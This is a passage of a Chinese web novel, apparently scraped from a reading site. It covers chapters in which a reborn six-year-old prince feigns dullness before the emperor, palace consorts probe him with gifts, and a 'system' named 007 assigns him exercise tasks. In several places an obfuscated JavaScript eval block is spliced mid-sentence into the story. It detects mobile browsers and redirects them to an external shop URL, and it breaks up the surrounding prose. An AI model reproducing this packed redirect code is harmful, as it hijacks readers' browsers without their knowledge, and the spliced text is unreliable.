“儿臣惶恐,不知为何蒙父皇垂怜。” 他做出惶恐的样子,“许是父皇怜悯儿臣病重……” 太子看着他怯生生的模样,心中的疑虑稍减。 一个六岁的孩子,能有什么心机? 父皇或许真的只是一时怜悯。 “七弟不必惶恐,父皇关爱儿子,是理所当然的。”太子温和地安慰道。 “你好好养病,若有谁欺负你,尽管来告诉二哥。” “谢二皇兄!”李常安乖巧应道。 太子又坐了片刻,便起身告辞。 临走前,他瞥了一眼桌上的膳食,眼中闪过讶异——这菜肴的精致程度,几乎不逊于他和皇后的份例。 看来,父皇对七弟的重视,远超他的想象。 送走太子,李常安终于能安静地用膳了。 但他刚吃了几口,又有人来了。 这次是丽妃宫中的太监,送来了几匹上好的绸缎,说是给七皇子做新衣。 接着是惠妃派人送来了一对玉如意,说是给七皇子镇邪祛病。 甚至连一向与世无争的贤妃都派人送来了一串佛珠,说是保佑七皇子平安康健。 一个上午,李常安的住处门庭若市,各宫嫔妃纷纷派人送来礼物,表达“关怀”。 007兴奋地说,【宿主,好多人关心您啊!看来宿主很招人喜欢!】 李常安无奈解释道:“这不是关心,是试探。她们想知道父皇为什么突然重视我,想知道我到底有什么特别之处。” 午后,李常安终于得到片刻安宁。 他靠在床头,闭目养神。 突然,007的声音在他脑海中响起: 【叮!检测到宿主身体孱弱,触发特殊任务:强身健体。】 【任务描述:循序渐进的锻炼。】 【发布子任务一:请宿主从今日起,每日完成一套温和的健身体术,持续至少七日。】 【任务奖励:体质微幅改善。】 【失败惩罚:无。】 【是否接受任务?】 李常安睁开眼睛,这个任务倒是正合他意。“接受。” 5. 第 5 章 接受了系统“强身健体”的任务后,李常安的生活多了一项固定的内容。 每日清晨和傍晚,完成一套007提供的温和健身体术。 【宿主,锻炼任务完成度2/7,请继续坚持哦!】007在他完成今日傍晚的练习后提示道。 李常安轻轻呼出一口气,能感觉到这具身体确实比刚醒来时多了一丝力气,至少不会动不动就气喘吁吁了。 这种细微的改善让他心下稍安。 他就这样在乾西五所安然度过了两日。 这两日里,他谨遵医嘱,“安心养病”,除了皇后每日派人来询问病情外,再无他人打扰。 就连皇帝,也没有再亲自前来,只是每日让王公公来探视一次。 【宿主,您为什么不主动去见皇上呢多接触不是能更快弄清楚他态度变化的原因吗?】007不解地问道。 “急什么?”李常安悠闲地翻着一本民间杂记。 “父皇若真对我另眼相看,自然会再来。若只是一时兴起,我凑上去反而惹人厌烦。” 他太了解自己的父皇了。 那位心思深沉的帝王,最不喜的就是刻意逢迎。 反倒是若即若离,更能引起他的兴趣。 而且,他如今首要任务是调理好身体,对于莫测的帝心,说实话他不是很在乎! 结果,翌日清晨,李常安刚用完早膳,王公公便亲自前来传旨:“七殿下,陛下宣您去御书房一趟。” 李常安叹了口气,该来的总会来。 “儿臣遵旨。”他恭敬应道,在素心的帮助下换上一件淡青色的常服,随着王公公前往御书房。 这是李常安重生后第一次走出寝宫。 初夏的皇宫,绿树成荫,百花争艳,亭台楼阁在阳光下熠熠生辉。 但他却无心欣赏这美景,心中盘算着即将到来的面圣。 父皇此次召见,目的为何?为何这一世变了? 御书房外,小太监们垂手侍立,大气不敢出。 王公公先进去通报,片刻后出来,“七殿下,请进!” 李常安整了整衣冠,迈步走进御书房。 这是他前世再熟悉不过的地方,无数个日夜,他在这里与父皇商议国事,批阅奏折。 而今,他以一个六岁孩童的身份再次踏入这里,心情复杂难言。 皇帝正坐在御案后批阅奏折,听到脚步声,抬起头来。 今日他穿着一身明黄色常服,少了几分朝堂上的威严,多了几分家常的随意。 “儿臣参见父皇。”李常安规规矩矩地行礼,声音还带着病后的虚弱。 皇帝放下朱笔,打量着他:“平身。身子可大好了?” “谢父皇关心,已无大碍。”李常安站起身,垂手恭立。 皇帝指了指旁边的座位:“坐吧。今日叫你来,是想问问你的功课。” 李常安疑惑?功课?就这! 内侍搬来一个绣墩,李常安小心翼翼地坐下,只坐了前半部分,姿态恭谨拘束。 “朕听说,你尚未入弘文馆读书?”皇帝问道。 “回父皇,儿臣原定下月入学,但因病耽搁了。”李常安回答。 皇帝点点头:“既然如此,朕便考考你启蒙的功课。可认得字?” “认得一些。”李常安谨慎地回答。 他自然认得字,前世他博览群书,诗词歌赋无一不精。 但现在,他必须藏拙,他可不想太早慧,被抓去当苦力。 前世他太傻了!这一世他才不干了! 皇帝从御案上拿起一本《千字文》,随意翻开一页,指着一行字问道:“这几个字怎么念?” 李常安抬眼看去,是“天地玄黄,宇宙洪荒”。 他自然认得,但却故意皱起小眉头,装出努力辨认的样子:“天……地……后面的不认得了。” 皇帝眼中闪过讶异。他记得梦中小七诗词歌赋无一不精,难道时间点不对? 也是!小七现在还未入学,宁嫔又是个疯妇,怎么会教小七这些。 皇帝又指了几个简单的字,李常安有的“认得”,有的“不认得”,表现恰如一个启蒙不久、资质平庸的六岁孩童。 【宿主,您明明都认得啊!为什么故意答错?】007在他脑中叫道。 李常安没有理会它,这个007真的太吵了。 皇帝放下书,沉吟片刻,突然问道:“你可知道,朕为何让你移居乾西五所?” 李常安心头一跳,心里无所谓,但面上却露出惶恐之色:“儿臣不知!儿臣惶恐!” “你不必惶恐。”皇帝注视着他的眼睛。 “朕只是觉得,你毕竟是朕的儿子,不该在西三所那样的地方受苦。” 李常安低下头,掩去眼中的讥讽。 “谢父皇隆恩。”他轻声道谢,语气中没有欣喜,只有不安。 皇帝看着他这副模样,这孩子太过懦弱了些。 “你平日在宫里,都做些什么?”皇帝换了个问题。 李常安想了想,决定实话实说:“回父皇,儿臣……大多时候在睡觉。” “睡觉?”皇帝挑眉。 “嗯。”李常安点点头,一脸天真。 “躺着比较不累,偶尔也起来动一动,身子暖和一些。” 皇帝被他这话噎住了。 他设想过很多答案,读书、写字、玩耍,却没想到是“睡觉”。 皇帝看着李常安,试图从他那双过于眼睛里看出些什么。 但这孩子的眼神清澈见底,除了些许病弱的疲惫,看不出任何心机。 皇帝看着他这副模样,一时不知该气还是该笑。 他从未见过哪个皇子如此直白地承认自己“无能”。 就连最不成器的五皇子,在他面前也会装模作样地表现一番。 这孩子,要么是真的愚钝懒散,要么就是太过聪明,聪明到知道如何明哲保身。 无论是哪种,都让他对这个儿子产生了更浓厚的兴趣。 “罢了,你既然病刚好,就先回去休息吧。” 皇帝挥挥手,“好生养着,入学的事,等身体大好了再说。” “谢父皇。”李常安如蒙大赦,连忙起身行礼,退出了御书房。 走出御书房,初夏的阳光照在身上,李常安方觉得刚刚在室内沾染的寒气慢慢散去。 刚才那番对话,看似平常,但他能感觉到父皇那温和语气下的探究。 父皇对他,确实与前世不同,这份不同从何而来,他依旧想不明白。 【宿主,您刚才为什么?】007又要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668871|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发问。 “回宫再说。”李常安在心中打断它,加快了脚步。 然而,刚走过御花园的月亮门,就撞见了一个他最不想见到的人。 “哟,这不是七弟吗?” 五皇子李常睿带着两个小太监,拦住了他的去路,“听说你病好了?都能来御书房见父皇了?” 李常安停下脚步,垂下眼帘:“五皇兄。” 李常睿围着他转了一圈,嗤笑道: “听说刚刚父皇考你功课,你连《千字文》都认不全?真是废物!” 李常安沉默不语。 这种程度的羞辱,对他而言不痛不痒。 “怎么不说话?”李常睿得意洋洋,“知道自己丢人,无话可说了?” “五皇兄若无他事,臣弟就先回去了。”李常安想要绕开他。 李常睿却一把抓住他的胳膊:“急什么?父皇是不是赏了你很多东西?拿出来让五哥瞧瞧?” 李常安皱眉,这个五皇子,前世就惯会欺软怕硬。 “父皇并未赏赐儿臣什么。”他试图挣脱,但李常睿抓得很紧。 “撒谎!”李常睿瞪眼。 “我都听母妃说了!快交出来!” 就在这时,一个温和的声音从身后响起:“五弟,这是在做什么?” 李常安回头,只见太子李常宸不知何时站在了他们身后,眉头微蹙。 李常睿见到太子,立刻松开了手,讪讪道:“二皇兄,我……我只是和七弟说说话。” 太子看了李常安一眼,见他衣袖被扯得有些凌乱,心中明了,对李常睿道: “七弟病体初愈,需要静养,你不要打扰他。” “是,二皇兄。”李常睿不敢违逆太子,狠狠地瞪了李常安一眼,带着太监悻悻离去。 太子这才转向李常安,温和地问道:“七弟没事吧?” “谢二皇兄解围,臣弟无事。”李常安恭敬回答。 太子看着他低眉顺目的样子,不知为何总觉得有些奇怪! “方才在御书房,父皇都问了你些什么?” 李常安无语,果然,太子是来打探消息的。 他老实回答:“父皇问了臣弟的功课,臣弟愚钝,许多都答不上来。” 太子眼中闪过惊讶。哈! 他原以为父皇单独召见七弟,是有什么特别的吩咐,没想到只是考校功课?而且七弟还答不上来? 这未免太过寻常了,寻常得有些反常。 “无妨,你年纪尚小,日后好生学习便是。”太子温和地安慰道,“若有不懂的,可以来问二哥。” “谢二皇兄。”李常安再次道谢。 太子又关切了几句,便让他回去了。 看着李常安远去的背影,太子的眉头微微蹙起。 这个七弟,看似简单,却总给他一种看不透的感觉。 还有父皇的态度,也着实令人费解。 回到乾西五所,李常安屏退左右,独自坐在窗前,将今日之事细细梳理了一遍。 首先,父皇不知为何对他产生了不寻常的兴趣,这种兴趣似乎与他的“才能”无关。 因为在他故意表现得愚钝后,父皇的兴趣并未减少。 还有,太子对他的关注度明显提高了,这可不是什么好事。 6. 第 6 章 李常安在御书房“愚钝”的表现,如同投入湖面的石子,虽未激起滔天巨浪,却在皇宫各处漾开了圈圈涟漪。 “连《千字文》都认不全?真是个扶不上墙的烂泥!” 丽妃听闻心腹太监的回报,嗤笑一声,随手将一枚金簪掷在妆台上。 “本宫还以为陛下发现了什么璞玉,原来不过是可怜他病弱罢了!” 五皇子李常睿在一旁得意地昂起头: “儿臣早就说过,七弟笨得很!父皇考我功课时,我都能背下《百家姓》了!” 丽妃满意地摸了摸儿子的头:“睿儿自然是最聪慧的。只是……” 她语气一转,带着疑惑:“陛下为何独独对他这般怜悯?王妹妹(宁嫔)那边,可还疯着呢?” 心腹太监躬身道:“宁嫔娘娘依旧闭门不出,听说前日又打砸了些器物。” 丽妃冷哼一声:“疯疯癫癫,不成体统。去,把前儿内务府送来的那对翡翠如意给七皇子送去,就说本宫盼他早日康复。” 李常睿不解问道:“母妃,为何还要赏他东西?” 丽妃红唇微勾:“陛下正怜惜他,我们自然也要表现得‘关爱’兄弟。况且捧得越高,到时候才会摔得越重。” 长春宫内,皇后正执笔抄写佛经。 关嬷嬷轻声禀报着御书房之事:“七殿下似乎确实学业不精,陛下问了几句便让他回去了。” 皇后笔下未停,声音带着怜惜:“小七病弱,能捡回一条命已是万幸,学业不急在一时。他如今住在长春院,一切可还习惯?” “听素心说,七殿下很是安静,每日大多时间都在静养,偶尔在院内走走。”关嬷嬷回道。 犹豫片刻,又道,“只是丽妃娘娘、惠妃娘娘都往乾西五所送了东西。” 皇后这才放下笔,拿起帕子擦了擦手。 “她们倒是殷勤。将本宫库房里那套紫毫笔和松烟墨找出来,再添两刀上好的澄心堂纸,给七皇子送去。 告诉他要安心养病,学业之事,来日方长。” 太子东宫,太子李常宸听着贴身太监的禀报,沉吟片刻:“七弟果真答不上来?” 小太监低声回禀道:“千真万确!王公公亲眼所见,七殿下连‘宇宙洪荒’四字都认不全。 陛下似乎也有些意外,但并未动怒。” 太子轻轻敲着桌面:“父皇的态度,着实令人费解。” 若说重视,为何对一个明显愚钝的儿子如此上心? 若说不重视,又为何亲自过问功课,还将他安置在乾西五所的长春院? “殿下,是否需要……” 太子抬手制止:“不必。七弟构不成威胁,静观其变即可。倒是大皇兄那边……” 他眼中闪过一丝凝重,“听闻他近日又得了几卷前朝丹经?” “是,大皇子殿下深居简出,一心向道。”小太监如实回道。 太子不再言语,比起病弱愚钝的七弟,看似与世无争的大皇兄,才是他真正需要留意的人。 皇位之争无非“嫡长”二字。 大皇子李常川的寝宫内,香烟袅袅。 他正盘坐于蒲团之上,听完心腹的禀报,缓缓睁开眼:“七弟倒是比想象中有趣。” “殿下,陛下对七皇子的态度非同一般,我们是否……” 李常川拿着佛经轻轻拍了拍心腹的脑袋:“笨!不必动作。父皇心思难测,贸然出手反而不美。况且……” 他目光掠过香炉中升起的青烟,“有丽妃和五弟在前,我们何必着急?” 他重新闭上眼,一个不起眼的七皇子,或许正是搅浑这池静水的最好石子。 镇国公府,书房内。 年少的迟宴正在父亲镇国公的监督下练习骑射功夫。 休息间隙,老国公无意间提起:“听闻宫中七皇子病愈,陛下颇为关爱,还亲自考校了功课。” 迟宴放下手中的弓,擦了擦汗:“七皇子?是那位住在西三所的殿下?” 他对此人几乎毫无印象。 “正是。”镇国公颔首。 “只是听说功课似乎……不甚理想。” 镇国公看向儿子俊朗的脸庞,“你下月便要入弘文馆伴读,宫中局势复杂,需谨言慎行。” “父亲放心,儿子省得。”迟宴点点头说道。 而处于风波中心的李常安,此刻却正在乾西五所的小院里,完成他每日的健身任务。 【宿主,锻炼任务完成度4/7!效果显著,您的气息平稳多了!】007欢快地报告着进展。 李常安缓缓收势,确实感觉这几日身上松快了些。 他接过素心递来的温茶,小口啜饮。 “殿下,方才皇后娘娘、丽妃娘娘、惠妃娘娘都派人送了东西来。可要入库?”素心禀报道。 李常安目光扫过那些琳琅满目的赏赐,面色平静:“按例收好便是。” 他顿了顿,看向其中一套尤为精美的文房四宝,“皇后娘娘赏的这套,摆在外间书案上吧。” 他如今“学业不精”,皇后却赏下如此好的笔墨纸砚,其鼓励之意明显。 这份善意,他领了,这后宫中,皇后算是他少数不讨厌的人。 次日,李常安便用皇后赏的纸笔,认真地抄写了几行《千字文》,然后让素心送去长春宫,言称“谢母后赏赐,儿臣定当努力习字。” 皇后看到那歪歪扭扭却一笔一划极为认真的字迹,沉默良久,轻轻抚过纸张,对关嬷嬷道:“这孩子心性是倒是不错。” 关嬷嬷见皇后眼角微湿,知她是想起了八皇子,忙岔开话题:“七殿下身子似好了些,听说每日都在院里走动呢。” 皇后拭了拭眼角,露出一丝浅笑:“那就好。” 丽妃听闻李常安的做法,对此嗤之以鼻:“蠢材就是蠢材,以为巴结上皇后就能高枕无忧了?真是天真!” 惠妃则拉着六皇子李常远念叨:“你看看你七弟,病成那样还知道用功! 你整日就知道躲懒!从明日起,给老娘加倍练习骑射!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668872|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 李常远苦着脸,不敢反驳,心里对素未谋面却间接导致他“遭殃”的七弟,产生了好奇。 这日午后,李常安正在院中看着小太监修剪花木,却见一个小身影在月亮拱门门边探头探脑。 “谁在那里?”素心出声问道。 那身影瑟缩了一下,慢慢挪了出来,竟是六皇子李常远。 他比李常安大一岁,个子却高不了多少,此刻正紧张地攥着衣角。 “六皇兄?”李常安有些意外,起身行礼。 李常远飞快地瞥了他一眼,声音有些结巴地说道:“我……我母妃让我来……来看看你。” 说着,将一直藏在背后的一个小布包塞到李常安手里。 “这……这个是给你的!” 李常安打开一看,竟是几块造型可爱的动物形状糖饼。 “母妃说……说你吃药苦。” 李常远说完,转身就想跑。 “六皇兄留步。”李常安叫住他,拿起一块糖饼,弯起眼睛笑了笑。 “谢谢你,也谢谢惠妃娘娘。糖饼很可爱。” 李常远看着小七好看的笑容,心头的紧张顿时消散大半,随即也咧开嘴,不好意思地挠了挠头,回了一个憨憨的笑容。 “你、你喜欢就好。我改日再来看你!” 说完,这次是真的跑走了。 李常安看着他的背影,又看了看手中的糖饼,目光微暖。 这个六皇兄,他前世交集不多,只知道六皇兄后来成了一方猛将,倒是不知六皇兄小时候竟如此可爱! 惠妃娘娘此举,虽有跟风之嫌,但这份心意,不算坏。 李常安拈起一块小兔子糖饼,放入口中,甜味丝丝化开。 他这边刚送走六皇子,那边王公公又带着皇帝的赏赐来了——这次是几匣子新进贡的鲜果和一柄小巧玲珑的玉如意。 “陛下说殿下病后需多进补,特意让老奴挑了些爽口的果子送来。”王公公笑容满面。 李常安恭敬谢恩,态度一如既往的谦卑谨慎。 王公公回到养心殿,向皇帝回话:“七殿下收了赏赐,十分感念陛下天恩,精神看着比前两日又好了些,还在院中见了六皇子呢。” 皇帝批阅奏折的手顿了顿:“哦?小六去了?” “是,惠妃娘娘让六殿下送了盒糖饼去,七殿下很是欢喜。” 皇帝沉默片刻,淡淡道:“他倒是容易满足。” 语气听不出喜怒,只是目光在面前的奏折上停留了许久,未曾移动。 王公公躬身退下,心中暗忖,陛下对七殿下,也太过在意了些。 夜幕降临,乾西五所恢复宁静。 李常安完成晚间的健身体术后,躺在床榻上,回想这几日种种。 赏赐、试探、善意、挑衅……这一切都因父皇那令人费解的态度而起。 他就像被突然推至台前,身不由己。 李常安闭上眼,想不通,便暂且不想,攒够钱到时候可以出宫建府了,他就跑路。 7. 第 7 章 这日午后,秋阳正好,金辉洒满庭院。 李常安刚在院中打完一套养身拳法,额间沁出细密汗珠,多日来积压的郁气似乎也随着一呼一吸间排出了不少。 素心递上温热的帕子,眼中带着欣慰:“殿下近日气色好了许多。” 李常安接过帕子擦拭,还未开口,院墙外便隐隐传来了骚动之声。 “让我进去,我要见安儿,我的安儿在里面!” “你们这些坏人!把安儿还给我!” “滚开!都滚开!谁敢拦本宫!” 是宁嫔的声音,她又来了。 只是这一次,她的语调与上一次的尖酸刻薄、盛气凌人全然不同。 李常安执着帕子的手微微一顿,随即面色恢复如常,继续慢条斯理地擦拭着指尖。 素心快步从院门方向进来,面色复杂,带着几分不忍,压低声音道: “殿下,宁嫔娘娘又来了,这次,嘴里一直含糊地念叨着您,哭得厉害,像是……像是又魔怔了,与往日大不相同。” 她在宫中多年,见过宁嫔发病的诸般模样,有时疯癫恶毒,言语如刀,肆意打骂宫人。 有时又亢奋异常,自言自语。 却少有像今日这般,哭得如此崩溃。 李常安语气淡漠,听不出任何情绪,仿佛在谈论无关的天气:“无论她今日是何状态,依例阻拦,不得放入。 若她闹得实在厉害,扰了宫中清净,便去太医院请当值的太医过来,总不能任由娘娘凤体受损。” “是。”素心见他如此镇定,心下稍安。 院外的宁嫔,此刻正被两个强壮的宫女一左一右小心地搀扶着,实则几乎是架着。 她今日未施脂粉,面容憔悴,云鬓散乱,几缕发丝黏在泪湿的脸颊上,一支赤金步摇斜坠着,随时可能掉落。 她眼神涣散没有焦点,茫然地四处张望,泪水涟涟,反复呓语: “我的安儿呢?我听到他哭了,他是不是病了? 你们为什么不让我见他?我是他娘啊!让我看看他,就看一眼!” 这番情状,倒让奉命阻拦的宫人有些手足无措,面面相觑。 若她一如往昔般疯骂斥责,他们尚可板起脸孔,强行将其架走。 可她此刻这般凄楚糊涂、口口声声慈母心肠、哭得肝肠寸断的模样,反倒让人不好下重手,生怕一个不慎伤了她。 就在这一片混乱之际,一个威严的声音响起。 “怎么回事?宫中禁地,何以如此喧哗?” 皇帝李弘面色沉静地站在院门口,王公公及随侍紧跟其后。 皇帝显然是刚处理完政务,途径乾西五所附近,被这断断续续、愈演愈烈的喧哗哭闹声引了过来。 他的目光在状似疯癫、哭得可怜的宁嫔身上停留片刻,又转向闻声从院内走出的李常安。 李常安快步上前,姿态恭顺:“儿臣参见父皇。” 他低垂着头,让人看不清脸上神情。 皇帝并未立刻对李常安斥责什么,而是缓步上前,居高临下地看着被宫人勉强扶住的宁嫔,语气厌烦道: “宁嫔,你不待在映月宫静养,又来皇子居所喧哗作甚?成何体统!” 宁嫔听到皇帝的声音,茫然地抬起头,看了好一会儿,似乎才认出眼前之人是谁。 她突然挣脱宫人,扑倒在地,抓住皇帝的衣摆,哭道: “陛下!陛下!臣妾、臣妾找不到安儿了!他们都不让臣妾见安儿! 您帮帮臣妾,安儿还那么小,他离不开娘亲…… 他会害怕的,陛下,求求您,把安儿还给我吧!” 皇帝眉头微蹙,眼底掠过一丝复杂的情绪,他抬手指向静立一旁的李常安,试图唤醒她的神智: “宁嫔,你看清楚,常安就在那里,他好好的,何曾丢失?” 宁嫔像是抓住了救命稻草,猛地顺着皇帝所指的方向望去。 宁嫔顺着皇帝指的方向看去,眼神先是茫然。 待看清李常安的脸时,她浑身猛地一颤,像是看到了什么极其可怕的东西,脸色瞬间惨白,尖声叫道: “不!不是他!他不是!” 她双手抱头,发出凄厉的惨叫,整个人蜷缩起来,瑟瑟发抖。 这番转变,让所有人都愣住了。 李常安依旧垂首站着,心中冷笑,看,这就是他的“好母妃”,连疯魔中都带着刻骨的排斥与恐惧。呵! 皇帝的眉头锁得更紧,宁嫔就算是有疯病,这反应也太不正常了。 联想到她往日对李常安的漠不关心、近乎苛刻的对待,再到如今这诡异的话… 一个模糊、令人不快的念头在皇帝心中升起。 李弘压下心头的惊疑,看着地上抖成一团的宁嫔,命令道: “宁嫔神志昏乱,言行无状,惊扰皇子。来人,送她回映月宫,严加看管,没有朕的旨意,不得踏出宫门半步! 即刻派太医令前去,悉心诊治,详查病情,每日向朕回禀!” “是!”宫人领命,再不敢再有丝毫迟疑,几乎是半拖半抬地将已然瘫软失神的宁嫔带离了现场。 皇帝这才将目光重新投向一直静立一旁的李常安,眼神复杂。 他看到儿子依旧保持着行礼的姿势,单薄的身形在风中显得有些萧瑟,但那张小脸上,却没有任何惊恐,只有麻木。 这孩子,怕是早已习惯了这般场面。 “常安。”皇帝的声音不自觉地放缓了些许,“你没事吧?可受了惊吓?” 李常安抬起头,脸上适时地流露出些许的茫然:“回父皇,儿臣无事。” 他绝口不提宁嫔那些“胡言乱语”,仿佛那些恶毒的字眼从未进入他的耳朵。 皇帝看着他这反应,心中那点怜惜更甚。 他挥了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16668873|188600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挥手,“回去好生歇着吧。” “儿臣遵命,谢父皇关怀,儿臣告退。”李常安依礼退下。 皇帝站在原地,望着李常安消失的背影,又回想了一下宁嫔那诡异的话语,沉默良久,才对王公公低声道: “去查查,宁嫔这些年的病情,太医院都是如何记录、如何诊治的。 还有,她身边伺候的老人,尤其是从潜邸时就跟着的,找个由头,仔细问问话。要隐秘。” “老奴明白。”王公公心头一凛,躬身应下。 宁嫔大闹乾西五所,很快传遍整个深宫。 永和宫内,丽妃斜倚在软榻上,心腹太监的详细描述,涂着丹蔻的手指轻轻敲着桌面: “哦?疯得连自己亲生的儿子都不认得了?呵,看来是真的病入膏肓了。不过……” 她眼中闪过一丝精明的,“陛下此番处置,只是禁足加派太医诊治?没再重罚?这可有点意思。” 长春宫内,皇后正跪坐在小佛堂前,关嬷嬷悄步进来,低声禀报了此事。 皇后拨动佛珠的动作微微一顿,轻叹一声:“也是个可怜人,关嬷嬷,吩咐下去,让太医务必尽心诊治,需用什么珍稀药材,只管从本宫这里支取。 至于七皇子那边,他年纪尚小,屡受惊扰,将本宫库房里那对有着宁神静气之效的羊脂白玉枕给他送去。” 惠妃则在自己的宫中,直接对前来请安的六皇子毫不避讳的说道: “听见没?离那映月宫的疯婆子远着点!真是吓死个人!谁知道下次发起疯来会做出什么事! 你七弟也是倒霉,摊上这么个……唉!总之你给母妃记住,不许往那边凑!” 大皇子李常川在丹房内,听着心腹的回报,嘴角勾起一抹玩味的笑容: “这潭水,是越来越有意思了。让我们的人,想办法探探当年伺候宁嫔生产的那些老宫人的口风。” 院内,李常安的生活恢复了短暂的平静。 【宿主,她……她为什么突然那么怕你啊?】007的声音在他脑海中响起,带着明显的不解。 【上次来虽然也不好,但看着还算……呃,清醒?怎么这次就跟完全换了个人似的,时好时坏的? 不过不管她疯不疯,对你真的都好坏!虎毒还不食子呢!】 李常安正在看连环画,听到007的话,语气淡漠道:“她怕的不是我。 她是怕她亲手所做之事的报应,怕那深埋地底、不见天日的真相,终有被挖掘出来,重见天日的那一刻。” 宁嫔今日的表现、恰恰印证了他前世所窥见真相的一角。 她口中声声呼唤、念念不忘的“安儿”,恐怕才是她真正的、或许早在十几年前就已悄然夭折的亲生骨肉。 而他李常安,不过是一个被偷梁换柱的“外来者”。 至于他的身世,前世他至死都未能完全查明,这一世,慢慢来! 8. 第 8 章 【叮!阶段性任务“强身健体”完成!奖励发放:体质微幅改善。 宿主当前身体素质已初步摆脱“极度孱弱”状态,达到“体弱但稳定”水平。】 007开心地播报道。 这日,太医院院判亲自前来请平安脉,捻着胡须沉吟半晌,对侍立一旁的素心道: “七殿下脉象比月前平稳有力许多,邪气已去,正气渐复。 只要日后好生将养,勿要劳神费力,入学应是无碍了。” 消息传到皇帝耳中,他正与太子商议江南水患后续事宜,闻言只是点了点头,并未多言,只吩咐王公公: “告诉内务府,按制准备七皇子入弘文馆的一应事宜。” 太子李常宸在一旁听着,心中那丝怪异感再次浮现。 父皇对七弟的事,似乎关切得有些过分具体了。 太子面上不显,只是温和笑道:“七弟能康复入学是好事,儿臣作为兄长,也该有所表示。” 皇帝看了他一眼,未置可否。 很快,七皇子将入弘文馆的消息便传遍了宫廷。 丽妃对此嗤之以鼻:“去了也是丢人现眼!睿儿,在学宫里给母妃好好盯着他。” 五皇子李常睿挺起胸膛:“母妃放心!儿臣定让他知道知道,弘文馆可不是他那种蠢材该去的地方!” 惠妃揪着六皇子李常远的耳朵:“你七弟病歪歪的都去上学了!你再敢逃课试试看! 去了学宫多看顾着他点,别让李常睿那小子太欺负人!” 李常远捂着耳朵连连答应,心里却有点高兴,以后在学宫总算有个伴了。 宁嫔在宫中听闻此事,又发了一通脾气,砸了一套茶具,尖声笑道: “上学?他也配!孽种!都是孽种!” 而大皇子李常川,则在丹炉前缓缓睁开眼,嘴角勾起一抹意味深长的笑: “弘文馆…这下要热闹了。” 入学前一日,皇帝竟再次亲临乾西五所。 李常安正坐在窗边,手里拿着一卷《礼记》装样子,实则在发呆。 听闻皇帝驾到,他忙起身相迎。 “儿臣参见父皇。” 皇帝今日心情似乎不错,虚扶了他一把,目光在他脸上停留片刻: “气色确实好了不少。明日便要入学,可都准备妥当了?” “回父皇,都已准备妥当。”李常安垂首答道。 “嗯。”皇帝在榻上坐下,状似随意地问道,“可知入学后,首要当做什么?” 李常安面上露出恰到好处的茫然与紧张:“儿臣……儿臣不知,请父皇教诲。” 皇帝看着他这副怯生生的模样,与梦中的场景形成鲜明对比,心中一时五味杂陈,语气不由放缓了些: “入学首日,拜见师长,谨守学规,友爱同窗。 功课一时跟不上无妨,切记谦逊好学,不得怠惰。” “儿臣谨遵父皇教诲。” 李常安恭敬应下,心里却想,“藏拙”是必须的。 皇帝又坐了片刻,问了些日常琐事,便起身离开了。 临走前,他瞥见书案上摆着的那套皇后赏赐的紫毫笔,目光微动,却什么也没说。 皇帝一走,李常安轻轻吐了口气。 【宿主,明天就要开启学宫副本了!紧张吗?兴奋吗?】007的声音充满了期待。 “有什么可兴奋的?”李常安重新拿起书卷,语气平淡,“不过是换个地方罢了。” 次日清晨,天刚蒙蒙亮,李常安便被素心唤起。 穿上新制的皇子常服,用过早膳,便在两名小太监的陪同下,乘着青篷小车前往弘文馆。 弘文馆位于皇宫东南隅,与国子监相邻,是皇室子弟及三品以上大臣嫡子读书之所。 馆内亭台楼阁,古木参天,环境清幽肃穆。 李常安到得不早不晚,被引路的太监带到一处名为“明德堂”的斋舍。 此时堂内已来了不少学子,皆是年约六至十五岁的少年郎,衣着华贵,三五成群地交谈着。 他的到来,立刻吸引了所有人的目光。 好奇、打量、不屑、漠然…各种视线交织在他身上。 李常安恍若未觉,依照规矩,先向端坐于讲席之上的太傅行礼。 今日当值的正是弘文馆首席讲师之一的周太傅,一位年约五旬、面容清癯的老者。 他早已得了宫中吩咐,知道这位七皇子体弱学业不精,便只温和地勉励了几句,指了靠窗的一个位置让他坐下。 李常安刚落座,就感到一道不善的目光钉在自己身上。 不用看也知道,是坐在前排的五皇子李常睿。 “哼,还真来了。”李常睿毫不掩饰地嗤笑一声,声音不大不小,刚好让周围几个人听见。 他身边的几个伴读和趋附他的宗室子弟也跟着低笑起来。 李常安置若罔闻,自顾自地整理书案,将笔墨纸砚一一摆好。 这时,一个略显怯懦的声音在旁边响起:“七……七弟,早上好!不会的你可以问我,我可以教你。” 是六皇子李常远,他坐在李常安隔壁的位置,正偷偷朝他招手,脸上带着善意的笑容。 李常安朝他微微颔首,算是打过招呼。 辰时正,钟声敲响,学子们各自归位。 周太傅开始讲授《论语·学而篇》。 李常安端坐着,目光落在书本上,看似认真听讲,实则神游天外。 